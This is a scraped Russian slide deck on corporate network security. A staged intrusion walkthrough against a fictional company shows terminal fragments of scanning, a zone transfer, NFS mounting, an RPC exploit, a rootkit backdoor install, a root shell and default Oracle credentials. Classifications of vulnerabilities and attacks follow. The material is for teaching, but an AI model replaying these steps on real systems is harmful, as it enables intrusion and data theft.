Презентация "Типовая корпоративная сеть, понятие уязвимости и атаки (сокр.)" - скачать презентации по Информатике
- Презентация "Типовая корпоративная сеть, понятие уязвимости и атаки (сокр.)" - скачать презентации по Информатике
Содержание
- 2. Типовая корпоративная сеть Внутренние серверы Рабочие места DMZ-1 DMZ-2 Филиал Мобильные сотрудники Ресурсы Internet Пользователи Internet
- 3. Уровни информационной инфраструктуры ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
- 4. Уровни информационной инфраструктуры TCP/IP NetBEUI IPX/SPX
- 5. Уровни информационной инфраструктуры
- 6. Уровни информационной инфраструктуры
- 7. Уровни информационной инфраструктуры Office 2000
- 8. Уровни информационной инфраструктуры
- 9. Пример атаки ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
- 12. ACMETRADE.COM
- 13. Registrant: Acmetrade.com, Inc. (ACMETRADE-DOM) 6600 Peachtree Dunwoody Road Atlanta, GA 30338 Domain Name: ACMETRADE.COM Administrative Contact:
- 17. [hacker@linux131 hacker]$ nmap 200.0.0.143 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) Interesting ports on
- 18. hacker:/export/home/hacker> ./rpcscan dns.acmetrade.com cmsd Scanning dns.acmetrade.com for program 100068 cmsd is on port 33505 hacker:/export/home/hacker>
- 21. hacker:/export/home/hacker> id uid=1002(hacker) gid=10(staff) hacker:/export/home/hacker> uname -a SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine hacker:/export/home/hacker> ./cmsd
- 22. # # nslookup Default Server: dns.acmetrade.com Address: 208.21.2.67 > > ls acmetrade.com Received 15 records. ^D
- 23. # # # # rpcinfo -p www.acmetrade.com | grep mountd 100005 1 udp 643 mountd 100005
- 24. nfs
- 25. nfsshell.c
- 26. /data1 server2 /a engineering /b engineering /c engineering /export/home (everyone) Export list for www1.acmetrade.com: nfs> mount
- 27. nfs> status User id : 201 Group id : 1 Remote host : ‘www1.acmetrade.com’ Mount path
- 30. www1% www1% ls -la /usr/bin/eject -r-sr-xr-x 1 root bin 13144 Jul 15 1997 /usr/bin/eject* www1% gcc
- 31. ftp> cd solaris_backdoors 250 CWD command successful. ftp> get solaris_backdoor.tar.gz 200 PORT command successful. 150 Binary
- 32. # cd /tmp/my_tools/module_backdoor # ./configure Enter directories and filenames to hide from ls, find, du: #
- 33. # ls -la /usr/local/share/... ...: No such file or directory # # # # # #
- 34. # netstat TCP Local Address Remote Address Swind Send-Q Rwind Recv-Q State -------------------- -------------------- ----- ------
- 35. Trying 208.21.2.12... Escape character is '^]'. telnet www1.acmetrade.com 31337 Granting rootshell... # hostname www1 # whoami
- 36. hacker:/export/home/hacker> ftp www1.acmetrade.com Connected to www1 220 www1.acmetrade.com FTP service (Version 2.5). Name: root 331 Password
- 37. program vers proto port service 100000 4 tcp 111 rpcbind 100000 3 tcp 111 rpcbind 100000
- 38. 100021 3 udp 4045 nlockmgr 100021 4 udp 4045 nlockmgr 100021 1 tcp 4045 nlockmgr 100021
- 39. Please wait for your root shell. # ./tt backoffice.acmetrade.com hostname backoffice whoami root # find /
- 40. # sqlplus oracle/oracle SQL> describe customers Name Null? Type ------------------ -------- ----------- LNAME NOT NULL VARCHAR2(20)
- 42. AcmeTrade’s Network UNIX Firewall DNS Server Web Server Filtering Router NT Clients & Workstations Network UNIX
- 43. Угрозы, уязвимости и атаки Атака - действие нарушителя, которое приводит к реализации угрозы путем использования уязвимостей
- 44. ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Классификация уязвимостей узлов, протоколов и служб IP - сетей
- 45. Классификация по уровню в информационной инфраструктуре Уровень сети Уровень операционной системы Уровень баз данных Уровень персонала
- 46. Классификация уязвимостей по причинам возникновения ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ ошибки проектирования (технологий, протоколов, служб) ошибки реализации (программ)
- 47. Высокий уровень риска Средний уровень риска Низкий уровень риска Классификация уязвимостей по уровню (степени) риска ИНФОРМЗАЩИТА
- 48. Источники информации о новых уязвимостях www.cert.org - координационный центр CERT/CC www.iss.net/xforce - база данных компании ISS
- 49. www.iss.net/xforce
- 50. Примеры уязвимостей Уровень: сеть Степень риска: средняя Источник возникновения: ошибки реализации Описание: посылка большого числа одинаковых
- 51. Уровень: ОС Степень риска: высокая Источник возникновения: ошибки реализации Описание: проблема одной из функций ядра ОС
- 52. Уровень: СУБД Степень риска: низкая Источник возникновения: ошибки реализации Описание: уязвимость в реализации возможности подключения со
- 53. Уровень: приложения Степень риска: средняя Источник возникновения: ошибки реализации Описание: посылка большого числа некорректно построенных запросов
- 54. Уровень: приложения Степень риска: средняя Источник возникновения: ошибки реализации Описание: OC Windows 2000 и Windows 98
- 55. Уровень: Персонал Степень риска: высокая Источник возникновения: ошибки обслуживания Описание: узел заражён серверной частью троянского коня,
- 56. http://cve.mitre.org/cve Единая система наименований для уязвимостей Стандартное описание для каждой уязвимости Обеспечение совместимости баз данных уязвимостей
- 57. http://cve.mitre.org/cve CAN-1999-0067 CVE-1999-0067 Кандидат CVE Индекс CVE
- 58. Ситуация без CVE ISS RealSecure CERT Advisory Cisco Database Axent NetRecon land attack (spoofed SYN) Impossible
- 59. Поддержка CVE CVE-1999-0016 Land IP denial of service CVE CERT Advisory Bugtrag ISS RealSecure Cisco Database
- 60. CVE entry CVE-1999-0005 Arbitrary command execution via IMAP buffer overflow in authenticate command. Reference: CERT:CA-98.09.imapd Reference:
- 61. Классификация атак в IP- сетях
- 62. Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в обслуживании) ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
- 63. Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в обслуживании) ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Получение
- 64. Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в обслуживании) ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Получение
- 65. Классификация атак по целям Нарушение нормального функционирования объекта атаки (отказ в обслуживании) ИНФОРМЗАЩИТА НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ Получение
- 66. Классификация атак по местонахождению атакующего и объекта атаки Атакующий и объект атаки находятся в одном сегменте
- 67. Классификация атак по механизмам реализации Провоцирование отказа объекта (компонента) Подозрительная активность (разведка) Запуск кода (программы) на
- 68. Статистика по уязвимостям и атакам за 2000 год Источник: Internet Security Systems
- 69. Top 10 10. Linux Buffer Overflows 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4.
- 70. Linux Buffer Overflows Wu-ftp BO IMAP BO Qpopper BO Overwrite stack Common script kiddie exploits Poor
- 71. 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications
- 72. Уязвимости BIND BIND qinv Compile flag turned on by default, activated buffer-overflow, client request to server,
- 73. 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications
- 74. RPC (Remote Procedure Calls) rpc.cmsd (sun-rpc.cmsd) rpc-statd (sun-rpc-statd) Sadmin (sol-sadmind-amslverify-bo) Amd (amd-bo) Mountd (linux-mountd-bo)
- 75. 8. RPC 9. Bind 10. Linux Buffer Overflows 7. File Sharing 2. Weak Accounts 3. IIS
- 76. File Sharing Netbios NFS Троянские кони + + Rhosts для Unix - серверов Предоставление доступа к
- 77. 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications
- 78. Электронная почта Sendmail Pipe Attack (smtp-pipe) Sendmail MIMEbo “root access” (sendmail-mime-bo2) Incoming viruses, LOVE Many localhost
- 79. 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 1. Denial of Service
- 80. E-business Web Applications NetscapeGetBo (netscape-get-bo) “control server” HttpIndexserverPath (http-indexserver-path) “path info” Frontpage Extensions (frontpage-ext) “readable passwords”
- 81. 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 1. Denial of Service Exploits 5. E-Business
- 82. Open Databases Oracle default account passwords Oracle setuid root oratclsh SQL Server Xp_sprintf buffer overflow SQL
- 83. 4. Open Databases 5. E-Business Web Applications 6. Open E-mail 7. File Sharing 8. RPC 9.
- 84. IIS (Microsoft Internet Information Server) RDS HTR Malformed header Htdig Remote Shell Execution PWS File Access
- 85. 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications 6. Open E-mail
- 86. Слабые пароли Бюджеты по умолчанию Routers Servers No set Passwords for admin/root accounts SNMP with public/private
- 87. 2. Weak Accounts 3. IIS (Microsoft Internet Information Server) 4. Open Databases 5. E-Business Web Applications
- 88. Атаки «Denial of Service» Trinity TFN TFN2k Trin00 Stacheldraht FunTime Windows platform (W9x/2K/NT) Preprogrammed for specific
- 90. Скачать презентацию
Типовая корпоративная сеть
Внутренние серверы
Рабочие места
DMZ-1
DMZ-2
Филиал
Мобильные сотрудники
Ресурсы
Internet
Пользователи Internet
МЭ
Типовая корпоративная сеть
Внутренние серверы
Рабочие места
DMZ-1
DMZ-2
Филиал
Мобильные сотрудники
Ресурсы
Internet
Пользователи Internet
МЭ
Уровни информационной инфраструктуры
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Уровни информационной инфраструктуры
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Уровни информационной инфраструктуры
TCP/IP
NetBEUI
IPX/SPX
Уровни информационной инфраструктуры
TCP/IP
NetBEUI
IPX/SPX
Уровни информационной инфраструктуры
Уровни информационной инфраструктуры
Уровни информационной инфраструктуры
Уровни информационной инфраструктуры
Уровни информационной инфраструктуры
Office 2000
Уровни информационной инфраструктуры
Office 2000
Уровни информационной инфраструктуры
Уровни информационной инфраструктуры
Пример
атаки
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Пример
атаки
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
ACMETRADE.COM
ACMETRADE.COM
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
6600 Peachtree Dunwoody Road
Atlanta, GA 30338
Domain
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
6600 Peachtree Dunwoody Road
Atlanta, GA 30338
Domain
![[hacker@linux131 hacker]$ nmap 200.0.0.143 Starting nmap V. 2.53 by fyodor@insecure.org (](/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1241952/slide-16.jpg)
[hacker@linux131 hacker]$ nmap 200.0.0.143
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/
[hacker@linux131 hacker]$ nmap 200.0.0.143
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/
hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>
hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>
hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source
hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source
#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com 208.21.2.10
www1.acmetrade.com 208.21.2.12
www2.acmetrade.com 208.21.2.103
margin.acmetrade.com 208.21.4.10
marketorder.acmetrade.com 208.21.2.62
deriv.acmetrade.com 208.21.2.25
deriv1.acmetrade.com 208.21.2.13
bond.acmetrade.com 208.21.2.33
ibd.acmetrade.com 208.21.2.27
fideriv.acmetrade.com 208.21.4.42
backoffice.acmetrade.com 208.21.4.45
wiley.acmetrade.com 208.21.2.29
bugs.acmetrade.com 208.21.2.89
fw.acmetrade.com 208.21.2.94
fw1.acmetrade.com 208.21.2.21
#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com 208.21.2.10
www1.acmetrade.com 208.21.2.12
www2.acmetrade.com 208.21.2.103
margin.acmetrade.com 208.21.4.10
marketorder.acmetrade.com 208.21.2.62
deriv.acmetrade.com 208.21.2.25
deriv1.acmetrade.com 208.21.2.13
bond.acmetrade.com 208.21.2.33
ibd.acmetrade.com 208.21.2.27
fideriv.acmetrade.com 208.21.4.42
backoffice.acmetrade.com 208.21.4.45
wiley.acmetrade.com 208.21.2.29
bugs.acmetrade.com 208.21.2.89
fw.acmetrade.com 208.21.2.94
fw1.acmetrade.com 208.21.2.21
#
#
#
#
rpcinfo -p www.acmetrade.com | grep mountd
100005 1 udp 643 mountd
100005 1
#
#
#
#
rpcinfo -p www.acmetrade.com | grep mountd
100005 1 udp 643 mountd
100005 1
nfs
nfs
nfsshell.c
nfsshell.c
/data1 server2
/a engineering
/b engineering
/c engineering
/export/home (everyone)
Export list for www1.acmetrade.com:
nfs>
mount /export/home
Mount www1.acmetrade.com[208.21.2.12]:/export/home
nfs>
ls
bill
bob
celeste
chuck
dan
dave
jenn
zack
nfs>
ls –l bob
drwxr-xr-x 2 201
/data1 server2
/a engineering
/b engineering
/c engineering
/export/home (everyone)
Export list for www1.acmetrade.com:
nfs>
mount /export/home
Mount www1.acmetrade.com[208.21.2.12]:/export/home
nfs>
ls
bill
bob
celeste
chuck
dan
dave
jenn
zack
nfs>
ls –l bob
drwxr-xr-x 2 201
nfs>
status
User id : 201
Group id : 1
Remote host : ‘www1.acmetrade.com’
Mount path
nfs>
status
User id : 201
Group id : 1
Remote host : ‘www1.acmetrade.com’
Mount path
www1%
www1%
ls -la /usr/bin/eject
-r-sr-xr-x 1 root bin 13144 Jul 15 1997 /usr/bin/eject*
www1%
gcc
www1%
www1%
ls -la /usr/bin/eject
-r-sr-xr-x 1 root bin 13144 Jul 15 1997 /usr/bin/eject*
www1%
gcc
ftp>
cd solaris_backdoors
250 CWD command successful.
ftp>
get solaris_backdoor.tar.gz
200 PORT command successful.
150 Binary data
ftp>
cd solaris_backdoors
250 CWD command successful.
ftp>
get solaris_backdoor.tar.gz
200 PORT command successful.
150 Binary data
#
cd /tmp/my_tools/module_backdoor
#
./configure
Enter directories and filenames to hide from ls, find, du:
#
make
gcc
#
cd /tmp/my_tools/module_backdoor
#
./configure
Enter directories and filenames to hide from ls, find, du:
#
make
gcc
#
ls -la /usr/local/share/...
...: No such file or directory
#
#
#
#
#
#
./installer backdoor /usr/local/share/.../backdoor
Installing file...
Fixing
#
ls -la /usr/local/share/...
...: No such file or directory
#
#
#
#
#
#
./installer backdoor /usr/local/share/.../backdoor
Installing file...
Fixing
#
netstat
TCP
Local Address Remote Address Swind Send-Q Rwind Recv-Q State
-------------------- --------------------
#
netstat
TCP
Local Address Remote Address Swind Send-Q Rwind Recv-Q State
-------------------- --------------------
![Trying 208.21.2.12... Escape character is '^]'. telnet www1.acmetrade.com 31337 Granting rootshell...](/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1241952/slide-34.jpg)
Trying 208.21.2.12...
Escape character is '^]'.
telnet www1.acmetrade.com 31337
Granting rootshell...
#
hostname
www1
#
whoami
root
#
#
ps –aef | grep
Trying 208.21.2.12...
Escape character is '^]'.
telnet www1.acmetrade.com 31337
Granting rootshell...
#
hostname
www1
#
whoami
root
#
#
ps –aef | grep
hacker:/export/home/hacker>
ftp www1.acmetrade.com
Connected to www1
220 www1.acmetrade.com FTP service (Version 2.5).
Name:
root
331 Password required
hacker:/export/home/hacker>
ftp www1.acmetrade.com
Connected to www1
220 www1.acmetrade.com FTP service (Version 2.5).
Name:
root
331 Password required
program vers proto port service
100000 4 tcp 111 rpcbind
program vers proto port service
100000 4 tcp 111 rpcbind
100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
Please wait for your root shell.
#
./tt backoffice.acmetrade.com
hostname
backoffice
whoami
root
#
find / -type f -name
Please wait for your root shell.
#
./tt backoffice.acmetrade.com
hostname
backoffice
whoami
root
#
find / -type f -name
#
sqlplus oracle/oracle
SQL>
describe customers
Name Null? Type
------------------ -------- -----------
LNAME NOT NULL VARCHAR2(20)
FNAME NOT NULL VARCHAR2(15)
ADDR1 NOT NULL VARCHAR2(30)
ZIP NOT
#
sqlplus oracle/oracle
SQL>
describe customers
Name Null? Type
------------------ -------- -----------
LNAME NOT NULL VARCHAR2(20)
FNAME NOT NULL VARCHAR2(15)
ADDR1 NOT NULL VARCHAR2(30)
ZIP NOT
AcmeTrade’s Network
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network
UNIX
NT
UNIX
AcmeTrade’s Network
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network
UNIX
NT
UNIX
Угрозы, уязвимости и атаки
Атака - действие нарушителя, которое приводит к
Угрозы, уязвимости и атаки
Атака - действие нарушителя, которое приводит к
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Классификация
уязвимостей
узлов, протоколов
и служб IP - сетей
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
Классификация
уязвимостей
узлов, протоколов
и служб IP - сетей
Классификация по уровню
в информационной инфраструктуре
Уровень сети
Уровень операционной системы
Уровень баз данных
Уровень
Классификация по уровню
в информационной инфраструктуре
Уровень сети
Уровень операционной системы
Уровень баз данных
Уровень
Классификация уязвимостей
по причинам возникновения
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
ошибки проектирования
(технологий, протоколов, служб)
ошибки
Классификация уязвимостей
по причинам возникновения
ИНФОРМЗАЩИТА
НАУЧНО-ИНЖЕНЕРНОЕ ПРЕДПРИЯТИЕ
ошибки проектирования
(технологий, протоколов, служб)
ошибки
Высокий уровень риска
Средний уровень риска
Низкий уровень риска
Классификация уязвимостей
по уровню (степени)
Высокий уровень риска
Средний уровень риска
Низкий уровень риска
Классификация уязвимостей по уровню (степени)
Источники информации
о новых уязвимостях
www.cert.org - координационный центр CERT/CC
www.iss.net/xforce -
Источники информации
о новых уязвимостях
www.cert.org - координационный центр CERT/CC
www.iss.net/xforce -
www.iss.net/xforce
www.iss.net/xforce
Примеры уязвимостей
Уровень: сеть
Степень риска: средняя
Источник возникновения: ошибки реализации
Описание: посылка большого числа
Примеры уязвимостей
Уровень: сеть
Степень риска: средняя
Источник возникновения: ошибки реализации
Описание: посылка большого числа
Уровень: ОС
Степень риска: высокая
Источник возникновения: ошибки реализации
Описание: проблема одной из функций
Уровень: ОС
Степень риска: высокая
Источник возникновения: ошибки реализации
Описание: проблема одной из функций
Уровень: СУБД
Степень риска: низкая
Источник возникновения: ошибки реализации
Описание: уязвимость в реализации возможности
Уровень: СУБД
Степень риска: низкая
Источник возникновения: ошибки реализации
Описание: уязвимость в реализации возможности
Уровень: приложения
Степень риска: средняя
Источник возникновения: ошибки реализации
Описание: посылка большого числа некорректно
Уровень: приложения
Степень риска: средняя
Источник возникновения: ошибки реализации
Описание: посылка большого числа некорректно
Уровень: приложения
Степень риска: средняя
Источник возникновения: ошибки реализации
Описание: OC Windows 2000 и
Уровень: приложения
Степень риска: средняя
Источник возникновения: ошибки реализации
Описание: OC Windows 2000 и
Уровень: Персонал
Степень риска: высокая
Источник возникновения: ошибки обслуживания
Описание: узел заражён серверной частью
Уровень: Персонал
Степень риска: высокая
Источник возникновения: ошибки обслуживания
Описание: узел заражён серверной частью
http://cve.mitre.org/cve
Единая система наименований для уязвимостей
Стандартное описание для каждой уязвимости
Обеспечение совместимости баз
http://cve.mitre.org/cve
Единая система наименований для уязвимостей
Стандартное описание для каждой уязвимости
Обеспечение совместимости баз
http://cve.mitre.org/cve
CAN-1999-0067
CVE-1999-0067
Кандидат CVE
Индекс CVE
http://cve.mitre.org/cve
CAN-1999-0067
CVE-1999-0067
Кандидат CVE
Индекс CVE
Ситуация без CVE
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack (spoofed SYN)
Impossible IP
Ситуация без CVE
ISS RealSecure
CERT Advisory
Cisco Database
Axent NetRecon
land attack (spoofed SYN)
Impossible IP
Поддержка CVE
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag
ISS RealSecure
Cisco Database
Axent NetRecon
Поддержка CVE
CVE-1999-0016 Land IP denial of service
CVE
CERT Advisory
Bugtrag
ISS RealSecure
Cisco Database
Axent NetRecon
CVE entry
CVE-1999-0005
Arbitrary command execution via IMAP
buffer overflow in authenticate command.
Reference:
CVE entry
CVE-1999-0005
Arbitrary command execution via IMAP
buffer overflow in authenticate command.
Reference:
Классификация атак в IP- сетях
Классификация атак в IP- сетях
Классификация атак
по целям
Нарушение нормального функционирования
объекта атаки (отказ в
Классификация атак
по целям
Нарушение нормального функционирования
объекта атаки (отказ в
Классификация атак
по целям
Нарушение нормального функционирования
объекта атаки (отказ в
Классификация атак
по целям
Нарушение нормального функционирования
объекта атаки (отказ в
Классификация атак
по целям
Нарушение нормального функционирования
объекта атаки (отказ в
Классификация атак
по целям
Нарушение нормального функционирования
объекта атаки (отказ в
Классификация атак
по целям
Нарушение нормального функционирования
объекта атаки (отказ в
Классификация атак
по целям
Нарушение нормального функционирования
объекта атаки (отказ в
Классификация атак
по местонахождению атакующего и объекта атаки
Атакующий и объект атаки
Классификация атак
по местонахождению атакующего и объекта атаки
Атакующий и объект атаки
Классификация атак по механизмам реализации
Провоцирование отказа объекта (компонента)
Подозрительная активность (разведка)
Запуск кода
Классификация атак по механизмам реализации
Провоцирование отказа объекта (компонента)
Подозрительная активность (разведка)
Запуск кода
Статистика по уязвимостям
и атакам
за 2000 год
Источник: Internet Security Systems
Статистика по уязвимостям
и атакам
за 2000 год
Источник: Internet Security Systems
Top 10
10. Linux Buffer Overflows
2. Weak Accounts
3. IIS (Microsoft Internet
Top 10
10. Linux Buffer Overflows
2. Weak Accounts
3. IIS (Microsoft Internet
Linux Buffer Overflows
Wu-ftp BO
IMAP BO
Qpopper BO
Overwrite stack
Common script kiddie exploits
Poor coding
Linux Buffer Overflows
Wu-ftp BO
IMAP BO
Qpopper BO
Overwrite stack
Common script kiddie exploits
Poor coding
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
Уязвимости BIND
BIND qinv
Compile flag turned on by default, activated buffer-overflow, client
Уязвимости BIND
BIND qinv
Compile flag turned on by default, activated buffer-overflow, client
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
RPC (Remote Procedure Calls)
rpc.cmsd (sun-rpc.cmsd)
rpc-statd (sun-rpc-statd)
Sadmin (sol-sadmind-amslverify-bo)
Amd (amd-bo)
Mountd (linux-mountd-bo)
RPC (Remote Procedure Calls)
rpc.cmsd (sun-rpc.cmsd)
rpc-statd (sun-rpc-statd)
Sadmin (sol-sadmind-amslverify-bo)
Amd (amd-bo)
Mountd (linux-mountd-bo)
8. RPC
9. Bind
10. Linux Buffer Overflows
7. File Sharing
8. RPC
9. Bind
10. Linux Buffer Overflows
7. File Sharing
File Sharing
Netbios
NFS
Троянские кони
+ + Rhosts для Unix - серверов
Предоставление
File Sharing
Netbios
NFS
Троянские кони
+ + Rhosts для Unix - серверов
Предоставление
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
Электронная почта
Sendmail Pipe Attack (smtp-pipe)
Sendmail MIMEbo “root access”
(sendmail-mime-bo2)
Incoming viruses, LOVE
Many localhost
Электронная почта
Sendmail Pipe Attack (smtp-pipe)
Sendmail MIMEbo “root access”
(sendmail-mime-bo2)
Incoming viruses, LOVE
Many localhost
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
E-business Web Applications
NetscapeGetBo (netscape-get-bo) “control server”
HttpIndexserverPath (http-indexserver-path) “path info”
Frontpage Extensions
E-business Web Applications
NetscapeGetBo (netscape-get-bo) “control server”
HttpIndexserverPath (http-indexserver-path) “path info”
Frontpage Extensions
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
1. Denial of
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
1. Denial of
Open Databases
Oracle default account passwords
Oracle setuid root oratclsh
SQL Server Xp_sprintf buffer
Open Databases
Oracle default account passwords
Oracle setuid root oratclsh
SQL Server Xp_sprintf buffer
4. Open Databases
5. E-Business Web Applications
6. Open E-mail
7. File
4. Open Databases
5. E-Business Web Applications
6. Open E-mail
7. File
IIS (Microsoft Internet Information Server)
RDS
HTR
Malformed header
Htdig Remote Shell Execution
PWS File
IIS (Microsoft Internet Information Server)
RDS
HTR
Malformed header
Htdig Remote Shell Execution
PWS File
3. IIS (Microsoft Internet Information Server)
4. Open Databases
5. E-Business Web
3. IIS (Microsoft Internet Information Server)
4. Open Databases
5. E-Business Web
Слабые пароли
Бюджеты по умолчанию
Routers
Servers
No set Passwords for admin/root accounts
SNMP with public/private
Слабые пароли
Бюджеты по умолчанию
Routers
Servers
No set Passwords for admin/root accounts
SNMP with public/private
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
2. Weak Accounts
3. IIS (Microsoft Internet Information Server)
4. Open Databases
Атаки «Denial of Service»
Trinity
TFN
TFN2k
Trin00
Stacheldraht
FunTime
Windows platform (W9x/2K/NT)
Preprogrammed for specific time and target
All
Атаки «Denial of Service»
Trinity
TFN
TFN2k
Trin00
Stacheldraht
FunTime
Windows platform (W9x/2K/NT)
Preprogrammed for specific time and target
All
Шифрование
Клуб заботливых мам Nestlé
Викторина «Как устроен компьютер?» Автор: Пашкова Е.И. МБОУ СОШ №43 г. Н. Новгород
Software Development Life Cycle and Methodologies (Topic 2)
Представление графической информации в компьютере
Ліцензування програмного забезпечення. Лекція 4
Основные характеристики компьютера
Сегодня два понятия Подробно разберём, Правда и неправда Мы в жизни их зовем. Но в математике, То “истина” и “ложь”. Сегодня два понятия Подробно разберём, Правда и неправда Мы в жизни их зовем. Но в математике, То “истина” и “ложь”.
JavaScript в веб разработке
Безопасность детей в интернете
Перше знайомство з CorelDRAW
Введение в ооп
Что такое компьютер? Обзорный урок
Презентация по информатике Носители информации 
1С:Предприятие 8 через Интернет (1cfresh.com - облачный сервис фирмы 1С)
Booklove — приложение, которое помогает людям найти интересную книгу
Процессоры, платы 
Телекоммуникационные системы. Телемедицина. Электронное и дистанционное обучение в медицине. Лекция 3
Ограничение и сортировка данных
Информатика. Введение в предмет. Научно-технический прогресс и информатизация общества. Понятие информационной культуры
Обработка знаний и вывод решений в интеллектуальных системах
Звуковые карты. 
Демо-версия новогодних игр
Информация
Написание научных статей
Кафедра автоматизированных и вычислительных систем ВГТУ Информация для учителей и родителей (выпуск 2014 года)
Информационный процесс накопления данных
TypeScript In-Depth: Types Basics